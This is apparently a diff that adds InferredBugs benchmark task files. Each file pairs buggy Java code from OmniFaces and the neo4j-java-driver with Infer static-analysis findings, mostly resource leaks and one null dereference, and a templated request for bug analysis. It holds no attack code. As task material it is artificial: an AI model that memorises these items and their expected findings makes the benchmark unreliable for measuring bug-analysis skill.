+	 * @param disabled The disabled state.
+	 */
+	public BeanValidationEventListener(String validationGroups, boolean disabled) {
+		this.validationGroups = validationGroups;
+		this.disabled = disabled;
+	}
+
+	// Actions --------------------------------------------------------------------------------------------------------
+
+	/**
+	 * Only listens to {@link UIInput} components which have a {@link javax.faces.validator.BeanValidator} assigned.
+	 */
+	@Override
+	public boolean isListenerForSource(Object source) {
+		return source instanceof UIInput && getBeanValidator((EditableValueHolder) source) != null;
+	}
+
+	/**
+	 * Handle the {@link PreValidateEvent} and {@link PostValidateEvent}.
+	 */
+	@Override
+	public void processEvent(SystemEvent event) throws AbortProcessingException {
+		if (event instanceof PreValidateEvent) {
+			handlePreValidate((UIInput) ((ComponentSystemEvent) event).getComponent());
+		}
+		else if (event instanceof PostValidateEvent) {
+			handlePostValidate((UIInput) ((ComponentSystemEvent) event).getComponent());
+		}
+	}
+
+	/**
+	 * Replaces the original value of {@link BeanValidator#getValidationGroups()} with the value from the tag attribute.
+	 */
+	private void handlePreValidate(UIInput component) {
+		final BeanValidator beanValidator = getBeanValidator(component);
+		final String newValidationGroups = disabled ? NoValidationGroup.class.getName() : validationGroups;
+		final String originalValidationGroups = beanValidator.getValidationGroups();
+
+		if (originalValidationGroups != null) {
+			component.getAttributes().put(ATTRIBUTE_ORIGINAL_VALIDATION_GROUPS, originalValidationGroups);
+		}
+
+		beanValidator.setValidationGroups(newValidationGroups);
+
+		if (LOGGER.isLoggable(Level.FINER)) {
+			LOGGER.finer(String.format(LOG_VALIDATION_GROUPS_OVERRIDDEN,
+				component.getClientId(), originalValidationGroups, newValidationGroups));
+		}
+	}
+
+	/**
+	 * Restores the original value of {@link BeanValidator#getValidationGroups()}.
+	 */
+	private void handlePostValidate(UIInput component) {
+		final BeanValidator beanValidator = getBeanValidator(component);
+		final String originalValidationGroups = (String) component.getAttributes().remove(ATTRIBUTE_ORIGINAL_VALIDATION_GROUPS);
+		beanValidator.setValidationGroups(originalValidationGroups);
+	}
+
+	// Helpers --------------------------------------------------------------------------------------------------------
+
+	/**
+	 * Obtain the bean validator instance of the given editable value holder component.
+	 */
+	private static BeanValidator getBeanValidator(EditableValueHolder component) {
+		Validator[] validators = component.getValidators();
+
+		for (Validator validator : validators) {
+			if (validator instanceof BeanValidator) {
+				return (BeanValidator) validator;
+			}
+		}
+
+		return null;
+	}
+
+	/**
+	 * Dummy validation group to disable any validation.
+	 */
+	private interface NoValidationGroup {
+		//
+	}
+
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `beanValidator` last assigned on line 94 could be null and is dereferenced at line 96.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BeanValidationEventListener.handlePreValidate(UIInput)
+
+### Procedure Id:
+org.omnifaces.eventlistener.BeanValidationEventListener.handlePreValidate(javax.faces.component.UIIn.1ca835539beb6a1f6b9cc60671873e2f
+
+### File:
+src/main/java/org/omnifaces/eventlistener/BeanValidationEventListener.java
+
+### Key:
+BeanValidationEventListener.java|handlePreValidate|NULL_DEREFERENCE
+
+### Node Key:
+0593c1c049512a388943a3b90acf04fa
+
+### Hash:
+ebeb77f5944701ae161aafd121dd723a
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4876/instruction.md b/inferredbugs-4876/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ef4b92076dbaa6aa00865ba5375e5ad6363c3f4f
--- /dev/null
+++ b/inferredbugs-4876/instruction.md
@@ -0,0 +1,222 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** neo4j-java-driver
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (c) 2002-2016 "Neo Technology,"
+ * Network Engine for Objects in Lund AB [http://neotechnology.com]
+ *
+ * This file is part of Neo4j.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.neo4j.driver.internal;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.ExpectedException;
+
+import org.neo4j.driver.internal.spi.Connection;
+import org.neo4j.driver.v1.Transaction;
+import org.neo4j.driver.v1.exceptions.ClientException;
+
+import static junit.framework.TestCase.assertNotNull;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+public class InternalSessionTest
+{
+    @Rule
+    public ExpectedException exception = ExpectedException.none();
+
+    @Test
+    public void shouldSyncOnRun() throws Throwable
+    {
+        // Given
+        Connection mock = mock( Connection.class );
+        when( mock.isOpen() ).thenReturn( true );
+        InternalSession sess = new InternalSession( mock );
+
+        // When
+        sess.run( "whatever" );
+
+        // Then
+        verify( mock ).sync();
+    }
+
+    @Test
+    public void shouldNotAllowNewTxWhileOneIsRunning() throws Throwable
+    {
+        // Given
+        Connection mock = mock( Connection.class );
+        when( mock.isOpen() ).thenReturn( true );
+        InternalSession sess = new InternalSession( mock );
+        sess.beginTransaction();
+
+        // Expect
+        exception.expect( ClientException.class );
+
+        // When
+        sess.beginTransaction();
+    }
+
+    @Test
+    public void shouldBeAbleToOpenTxAfterPreviousIsClosed() throws Throwable
+    {
+        // Given
+        Connection mock = mock( Connection.class );
+        when( mock.isOpen() ).thenReturn( true );
+        InternalSession sess = new InternalSession( mock );
+        sess.beginTransaction().close();
+
+        // When
+        Transaction tx = sess.beginTransaction();
+
+        // Then we should've gotten a transaction object back
+        assertNotNull( tx );
+    }
+
+    @Test
+    public void shouldNotBeAbleToUseSessionWhileOngoingTransaction() throws Throwable
+    {
+        // Given
+        Connection mock = mock( Connection.class );
+        when( mock.isOpen() ).thenReturn( true );
+        InternalSession sess = new InternalSession( mock );
+        sess.beginTransaction();
+
+        // Expect
+        exception.expect( ClientException.class );
+
+        // When
+        sess.run( "whatever" );
+    }
+
+    @Test
+    public void shouldBeAbleToUseSessionAgainWhenTransactionIsClosed() throws Throwable
+    {
+        // Given
+        Connection mock = mock( Connection.class );
+        when( mock.isOpen() ).thenReturn( true );
+        InternalSession sess = new InternalSession( mock );
+        sess.beginTransaction().close();
+
+        // When
+        sess.run( "whatever" );
+
+        // Then
+        verify( mock ).sync();
+    }
+
+    @Test
+    public void shouldNotAllowMoreStatementsInSessionWhileConnectionClosed() throws Throwable
+    {
+        // Given
+        Connection mock = mock( Connection.class );
+        when( mock.isOpen() ).thenReturn( false );
+        InternalSession sess = new InternalSession( mock );
+
+        // Expect
+        exception.expect( ClientException.class );
+
+        // When
+        sess.run( "whatever" );
+    }
+
+    @Test
+    public void shouldNotAllowMoreTransactionsInSessionWhileConnectionClosed() throws Throwable
+    {
+        // Given
+        Connection mock = mock( Connection.class );
+        when( mock.isOpen() ).thenReturn( false );
+        InternalSession sess = new InternalSession( mock );
+
+        // Expect
+        exception.expect( ClientException.class );
+
+        // When
+        sess.beginTransaction();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.neo4j.driver.internal.InternalSession` acquired to `sess` by call to `new()` at line 76 is not released after line 80.
+**Note**: potential exception at line 80
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void InternalSessionTest.shouldBeAbleToOpenTxAfterPreviousIsClosed()
+
+### Procedure Id:
+org.neo4j.driver.internal.InternalSessionTest.shouldBeAbleToOpenTxAfterPreviousIsClosed():void.61a1182797da62551948744cfaa89a0d
+
+### File:
+driver/src/test/java/org/neo4j/driver/internal/InternalSessionTest.java
+
+### Key:
+InternalSessionTest.java|shouldBeAbleToOpenTxAfterPreviousIsClosed|RESOURCE_LEAK
+
+### Node Key:
+263eaa2eea01bcd70cdef5c734a7e277
+
+### Hash:
+40f0c98c6145c2c9cdd67a39d15cece3
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4882/instruction.md b/inferredbugs-4882/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7297e768c63c13b8b2f73926a4c89818a42e446b
--- /dev/null
+++ b/inferredbugs-4882/instruction.md
@@ -0,0 +1,337 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** neo4j-java-driver
+**Bug ID:** 45
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2002-2018 "Neo4j,"
+ * Neo4j Sweden AB [http://neo4j.com]
+ *
+ * This file is part of Neo4j.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.neo4j.driver.internal.security;
+
+import io.netty.buffer.ByteBufUtil;
+
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileReader;
+import java.io.FileWriter;
+import java.io.IOException;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.security.cert.CertificateException;
+import java.security.cert.X509Certificate;
+import javax.net.ssl.X509TrustManager;
+
+import org.neo4j.driver.internal.BoltServerAddress;
+import org.neo4j.driver.v1.Logger;
+
+import static java.lang.String.format;
+import static org.neo4j.driver.internal.util.CertificateTool.X509CertToString;
+
+/**
+ * References:
+ * http://stackoverflow.com/questions/6802421/how-to-compare-distinct-implementations-of-java-security-cert-x509certificate?answertab=votes#tab-top
+ */
+public class TrustOnFirstUseTrustManager implements X509TrustManager
+{
+    /**
+     * A list of pairs (known_server certificate) are stored in this file.
+     * When establishing a SSL connection to a new server, we will save the server's host:port and its certificate in this
+     * file.
+     * Then when we try to connect to a known server again, we will authenticate the server by checking if it provides
+     * the same certificate as the one saved in this file.
+     */
+    private final File knownHosts;
+
+    /** The server ip:port (in digits) of the server that we are currently connected to */
+    private final String serverId;
+    private final Logger logger;
+
+    /** The known certificate we've registered for this server */
+    private String fingerprint;
+
+    TrustOnFirstUseTrustManager( BoltServerAddress address, File knownHosts, Logger logger ) throws IOException
+    {
+        this.logger = logger;
+        this.serverId = address.toString();
+        this.knownHosts = knownHosts;
+        load();
+    }
+
+    /**
+     * Try to load the certificate form the file if the server we've connected is a known server.
+     *
+     * @throws IOException
+     */
+    private void load() throws IOException
+    {
+        if ( !knownHosts.exists() )
+        {
+            return;
+        }
+
+        assertKnownHostFileReadable();
+
+        BufferedReader reader = new BufferedReader( new FileReader( knownHosts ) );
+        String line;
+        while ( (line = reader.readLine()) != null )
+        {
+            if ( (!line.trim().startsWith( "#" )) )
+            {
+                String[] strings = line.split( " " );
+                if ( strings[0].trim().equals( serverId ) )
+                {
+                    // load the certificate
+                    fingerprint = strings[1].trim();
+                    return;
+                }
+            }
+        }
+        reader.close();
+    }
+
+    /**
+     * Save a new (server_ip, cert) pair into knownHosts file
+     *
+     * @param fingerprint the SHA-512 fingerprint of the host certificate
+     */
+    private void saveTrustedHost( String fingerprint ) throws IOException
+    {
+        this.fingerprint = fingerprint;
+
+        logger.info( "Adding %s as known and trusted certificate for %s.", fingerprint, serverId );
+        createKnownCertFileIfNotExists();
+
+        assertKnownHostFileWritable();
+        BufferedWriter writer = new BufferedWriter( new FileWriter( knownHosts, true ) );
+        writer.write( serverId + " " + this.fingerprint );
+        writer.newLine();
+        writer.close();
+    }
+
+
+    private void assertKnownHostFileReadable() throws IOException
+    {
+        if( !knownHosts.canRead() )
+        {
+            throw new IOException( format(
+                    "Failed to load certificates from file %s as you have no read permissions to it.\n" +
+                    "Try configuring the Neo4j driver to use a file system location you do have read permissions to.",
+                    knownHosts.getAbsolutePath()
+            ) );
+        }
+    }
+
+    private void assertKnownHostFileWritable() throws IOException
+    {
+        if( !knownHosts.canWrite() )
+        {
+            throw new IOException( format(
+                    "Failed to write certificates to file %s as you have no write permissions to it.\n" +
+                    "Try configuring the Neo4j driver to use a file system location you do have write permissions to.",
+                    knownHosts.getAbsolutePath()
+            ) );
+        }
+    }
+
+    /*
+     * Disallow all client connection to this client
+     */
+    public void checkClientTrusted( X509Certificate[] chain, String authType )
+            throws CertificateException
+    {
+        throw new CertificateException( "All client connections to this client are forbidden." );
+    }
+
+    /*
+     * Trust the cert if it is seen first time for this server or it is the same with the one registered.
+     */
+    public void checkServerTrusted( X509Certificate[] chain, String authType )
+            throws CertificateException
+    {
+        X509Certificate certificate = chain[0];
+
+        String cert = fingerprint( certificate );
+
+        if ( this.fingerprint == null )
+        {
+            try
+            {
+                saveTrustedHost( cert );
+            }
+            catch ( IOException e )
+            {
+                throw new CertificateException( format(
+                        "Failed to save the server ID and the certificate received from the server to file %s.\n" +
+                        "Server ID: %s\nReceived cert:\n%s",
+                        knownHosts.getAbsolutePath(), serverId, X509CertToString( cert ) ), e );
+            }
+        }
+        else
+        {
+            if ( !this.fingerprint.equals( cert ) )
+            {
+                throw new CertificateException( format(
+                        "Unable to connect to neo4j at `%s`, because the certificate the server uses has changed. " +
+                        "This is a security feature to protect against man-in-the-middle attacks.\n" +
+                        "If you trust the certificate the server uses now, simply remove the line that starts with " +
+                        "`%s` " +
+                        "in the file `%s`.\n" +
+                        "The old certificate saved in file is:\n%sThe New certificate received is:\n%s",
+                        serverId, serverId, knownHosts.getAbsolutePath(),
+                        X509CertToString( this.fingerprint ), X509CertToString( cert ) ) );
+            }
+        }
+    }
+
+    /**
+     * Calculate the certificate fingerprint - simply the SHA-512 hash of the DER-encoded certificate.
+     */
+    public static String fingerprint( X509Certificate cert ) throws CertificateException
+    {
+        try
+        {
+            MessageDigest md = MessageDigest.getInstance( "SHA-512" );
+            md.update( cert.getEncoded() );
+            return ByteBufUtil.hexDump( md.digest() );
+        }
+        catch( NoSuchAlgorithmException e )
+        {
+            // SHA-1 not available
+            throw new CertificateException( "Cannot use TLS on this platform, because SHA-512 message digest algorithm is not available: " + e.getMessage(), e );
+        }
+    }
+
+    private File createKnownCertFileIfNotExists() throws IOException
+    {
+        if ( !knownHosts.exists() )
+        {
+            File parentDir = knownHosts.getParentFile();
+            try
+            {
+                if ( parentDir != null && !parentDir.exists() )
+                {
+                    if ( !parentDir.mkdirs() )
+                    {
+                        throw new IOException( "Failed to create directories for the known hosts file in " + knownHosts.getAbsolutePath() +
+                                               ". This is usually because you do not have write permissions to the directory. " +
+                                               "Try configuring the Neo4j driver to use a file system location you do have write permissions to." );
+                    }
+                }
+                if ( !knownHosts.createNewFile() )
+                {
+                    throw new IOException( "Failed to create a known hosts file at " + knownHosts.getAbsolutePath() +
+                                           ". This is usually because you do not have write permissions to the directory. " +
+                                           "Try configuring the Neo4j driver to use a file system location you do have write permissions to." );
+                }
+            }
+            catch( SecurityException e )
+            {
+                throw new IOException( "Failed to create known host file and/or parent directories at " + knownHosts.getAbsolutePath() +
+                                       ". This is usually because you do not have write permission to the directory. " +
+                                       "Try configuring the Neo4j driver to use a file location you have write permissions to." );
+            }
+            BufferedWriter writer = new BufferedWriter( new FileWriter( knownHosts ) );
+            writer.write( "# This file contains trusted certificates for Neo4j servers, it's created by Neo4j drivers." );
+            writer.newLine();
+            writer.write( "# You can configure the location of this file in `org.neo4j.driver.Config`" );
+            writer.newLine();
+            writer.close();
+        }
+
+        return knownHosts;
+    }
+
+    /**
+     * No issuer is trusted.
+     */
+    public X509Certificate[] getAcceptedIssuers()
+    {
+        return new X509Certificate[0];
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileReader` acquired by call to `new()` at line 85 is not released after line 101.
+**Note**: potential exception at line 87
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TrustOnFirstUseTrustManager.load()
+
+### Procedure Id:
+org.neo4j.driver.internal.security.TrustOnFirstUseTrustManager.load():void.90b5e9e166c1700759d5ada987f0309f
+
+### File:
+driver/src/main/java/org/neo4j/driver/internal/security/TrustOnFirstUseTrustManager.java
+
+### Key:
+TrustOnFirstUseTrustManager.java|load|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+fc63fc42826586a5bc0783f2b1a70428
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4885/instruction.md b/inferredbugs-4885/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f84b89836b05d3e248ca584e2d7d947905356250
--- /dev/null
+++ b/inferredbugs-4885/instruction.md
@@ -0,0 +1,245 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** neo4j-java-driver
+**Bug ID:** 17
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (c) 2002-2016 "Neo Technology,"
+ * Network Engine for Objects in Lund AB [http://neotechnology.com]
+ *
+ * This file is part of Neo4j.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.neo4j.driver.v1.integration;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.ExpectedException;
+
+import java.util.UUID;
+
+import org.neo4j.driver.v1.Config;
+import org.neo4j.driver.v1.Driver;
+import org.neo4j.driver.v1.GraphDatabase;
+import org.neo4j.driver.v1.StatementResult;
+import org.neo4j.driver.v1.Transaction;
+import org.neo4j.driver.v1.exceptions.ClientException;
+import org.neo4j.driver.v1.util.TestNeo4jSession;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+public class ErrorIT
+{
+    @Rule
+    public ExpectedException exception = ExpectedException.none();
+
+    @Rule
+    public TestNeo4jSession session = new TestNeo4jSession();
+
+    @Test
+    public void shouldThrowHelpfulSyntaxError() throws Throwable
+    {
+        // Expect
+        exception.expect( ClientException.class );
+        exception.expectMessage( "Invalid input 'i'" );
+
+        // When
+        StatementResult result = session.run( "invalid statement" );
+        result.consume();
+    }
+
+    @Test
+    public void shouldNotAllowMoreTxAfterClientException() throws Throwable
+    {
+        // Given
+        Transaction tx = session.beginTransaction();
+
+        // And Given an error has occurred
+        try { tx.run( "invalid" ).consume(); } catch ( ClientException e ) {}
+
+        // Expect
+        exception.expect( ClientException.class );
+        exception.expectMessage( "Cannot run more statements in this transaction, " +
+                                 "because previous statements in the" );
+
+        // When
+        StatementResult cursor = tx.run( "RETURN 1" );
+        cursor.single().get( "1" ).asInt();
+    }
+
+    @Test
+    public void shouldAllowNewStatementAfterRecoverableError() throws Throwable
+    {
+        // Given an error has occurred
+        try { session.run( "invalid" ).consume(); } catch ( ClientException e ) {}
+
+        // When
+        StatementResult cursor = session.run( "RETURN 1" );
+        int val = cursor.single().get( "1" ).asInt();
+
+        // Then
+        assertThat( val, equalTo( 1 ) );
+    }
+
+    @Test
+    public void shouldAllowNewTransactionAfterRecoverableError() throws Throwable
+    {
+        // Given an error has occurred in a prior transaction
+        try ( Transaction tx = session.beginTransaction() )
+        {
+            tx.run( "invalid" ).consume();
+        }
+        catch ( ClientException e ) {}
+
+        // When
+        try ( Transaction tx = session.beginTransaction() )
+        {
+            StatementResult cursor = tx.run( "RETURN 1" );
+            int val = cursor.single().get( "1" ).asInt();
+
+            // Then
+            assertThat( val, equalTo( 1 ) );
+        }
+    }
+
+    @Test
+    public void shouldExplainConnectionError() throws Throwable
+    {
+        // Expect
+        exception.expect( ClientException.class );
+        exception.expectMessage( "Unable to connect to 'localhost' on port 7777, ensure the database is running " +
+                                 "and that there is a working network connection to it." );
+
+        // When
+        try ( Driver driver = GraphDatabase.driver( "bolt://localhost:7777" ) )
+        {
+            driver.session();
+        }
+    }
+
+    @Test
+    public void shouldHandleFailureAtCommitTime() throws Throwable
+    {
+        String label = UUID.randomUUID().toString();  // avoid clashes with other tests
+
+        // given
+        Transaction tx = session.beginTransaction();
+        tx.run( "CREATE CONSTRAINT ON (a:`" + label + "`) ASSERT a.name IS UNIQUE" );
+        tx.success();
+        tx.close();
+
+        // and
+        tx = session.beginTransaction();
+        tx.run( "CREATE INDEX ON :`" + label + "`(name)" );
+        tx.success();
+
+        // then expect
+        exception.expect( ClientException.class );
+        exception.expectMessage( "Label '" + label + "' and property 'name' have a unique " +
+                "constraint defined on them, so an index is already created that matches this." );
+
+        // when
+        tx.close();
+
+    }
+
+    @Test
+    public void shouldGetHelpfulErrorWhenTryingToConnectToHttpPort() throws Throwable
+    {
+        // Given
+        //the http server needs some time to start up
+        Thread.sleep( 2000 );
+        Driver driver = GraphDatabase.driver( "bolt://localhost:7474", Config.build().withEncryptionLevel(
+                Config.EncryptionLevel.NONE ).toConfig());
+
+        // Expect
+        exception.expect( ClientException.class );
+        exception.expectMessage( "Server responded HTTP. Make sure you are not trying to connect to the http endpoint " +
+                                 "(HTTP defaults to port 7474 whereas BOLT defaults to port 7687)" );
+
+        // When
+        driver.session();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.neo4j.driver.internal.InternalSession` acquired by call to `session()` at line 123 is not released after line 123.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ErrorIT.shouldExplainConnectionError()
+
+### Procedure Id:
+org.neo4j.driver.v1.integration.ErrorIT.shouldExplainConnectionError():void.2398be2c20524e40fc11c962f0a612cf
+
+### File:
+driver/src/test/java/org/neo4j/driver/v1/integration/ErrorIT.java
+
+### Key:
+ErrorIT.java|shouldExplainConnectionError|RESOURCE_LEAK
+
+### Node Key:
+7bd17c1126d78fe17b36ab2ac6be1419
+
+### Hash:
+eff5af53bd3dfb21fd4fafa02f91404b
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4902/instruction.md b/inferredbugs-4902/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0142a1d3f0842074ffd56979458701d398df54ff
--- /dev/null
+++ b/inferredbugs-4902/instruction.md
@@ -0,0 +1,337 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** neo4j-java-driver
+**Bug ID:** 46
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2002-2018 "Neo4j,"
+ * Neo4j Sweden AB [http://neo4j.com]
+ *
+ * This file is part of Neo4j.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.neo4j.driver.internal.security;
+
+import io.netty.buffer.ByteBufUtil;
+
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileReader;
+import java.io.FileWriter;
+import java.io.IOException;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.security.cert.CertificateException;
+import java.security.cert.X509Certificate;
+import javax.net.ssl.X509TrustManager;
+
+import org.neo4j.driver.internal.BoltServerAddress;
+import org.neo4j.driver.v1.Logger;
+
+import static java.lang.String.format;
+import static org.neo4j.driver.internal.util.CertificateTool.X509CertToString;
+
+/**
+ * References:
+ * http://stackoverflow.com/questions/6802421/how-to-compare-distinct-implementations-of-java-security-cert-x509certificate?answertab=votes#tab-top
+ */
+public class TrustOnFirstUseTrustManager implements X509TrustManager
+{
+    /**
+     * A list of pairs (known_server certificate) are stored in this file.
+     * When establishing a SSL connection to a new server, we will save the server's host:port and its certificate in this
+     * file.
+     * Then when we try to connect to a known server again, we will authenticate the server by checking if it provides
+     * the same certificate as the one saved in this file.
+     */
+    private final File knownHosts;
+
+    /** The server ip:port (in digits) of the server that we are currently connected to */
+    private final String serverId;
+    private final Logger logger;
+
+    /** The known certificate we've registered for this server */
+    private String fingerprint;
+
+    TrustOnFirstUseTrustManager( BoltServerAddress address, File knownHosts, Logger logger ) throws IOException
+    {
+        this.logger = logger;
+        this.serverId = address.toString();
+        this.knownHosts = knownHosts;
+        load();
+    }
+
+    /**
+     * Try to load the certificate form the file if the server we've connected is a known server.
+     *
+     * @throws IOException
+     */
+    private void load() throws IOException
+    {
+        if ( !knownHosts.exists() )
+        {
+            return;
+        }
+
+        assertKnownHostFileReadable();
+
+        BufferedReader reader = new BufferedReader( new FileReader( knownHosts ) );
+        String line;
+        while ( (line = reader.readLine()) != null )
+        {
+            if ( (!line.trim().startsWith( "#" )) )
+            {
+                String[] strings = line.split( " " );
+                if ( strings[0].trim().equals( serverId ) )
+                {
+                    // load the certificate
+                    fingerprint = strings[1].trim();
+                    return;
+                }
+            }
+        }
+        reader.close();
+    }
+
+    /**
+     * Save a new (server_ip, cert) pair into knownHosts file
+     *
+     * @param fingerprint the SHA-512 fingerprint of the host certificate
+     */
+    private void saveTrustedHost( String fingerprint ) throws IOException
+    {
+        this.fingerprint = fingerprint;
+
+        logger.info( "Adding %s as known and trusted certificate for %s.", fingerprint, serverId );
+        createKnownCertFileIfNotExists();
+
+        assertKnownHostFileWritable();
+        BufferedWriter writer = new BufferedWriter( new FileWriter( knownHosts, true ) );
+        writer.write( serverId + " " + this.fingerprint );
+        writer.newLine();
+        writer.close();
+    }
+
+
+    private void assertKnownHostFileReadable() throws IOException
+    {
+        if( !knownHosts.canRead() )
+        {
+            throw new IOException( format(
+                    "Failed to load certificates from file %s as you have no read permissions to it.\n" +
+                    "Try configuring the Neo4j driver to use a file system location you do have read permissions to.",
+                    knownHosts.getAbsolutePath()
+            ) );
+        }
+    }
+
+    private void assertKnownHostFileWritable() throws IOException
+    {
+        if( !knownHosts.canWrite() )
+        {
+            throw new IOException( format(
+                    "Failed to write certificates to file %s as you have no write permissions to it.\n" +
+                    "Try configuring the Neo4j driver to use a file system location you do have write permissions to.",
+                    knownHosts.getAbsolutePath()
+            ) );
+        }
+    }
+
+    /*
+     * Disallow all client connection to this client
+     */
+    public void checkClientTrusted( X509Certificate[] chain, String authType )
+            throws CertificateException
+    {
+        throw new CertificateException( "All client connections to this client are forbidden." );
+    }
+
+    /*
+     * Trust the cert if it is seen first time for this server or it is the same with the one registered.
+     */
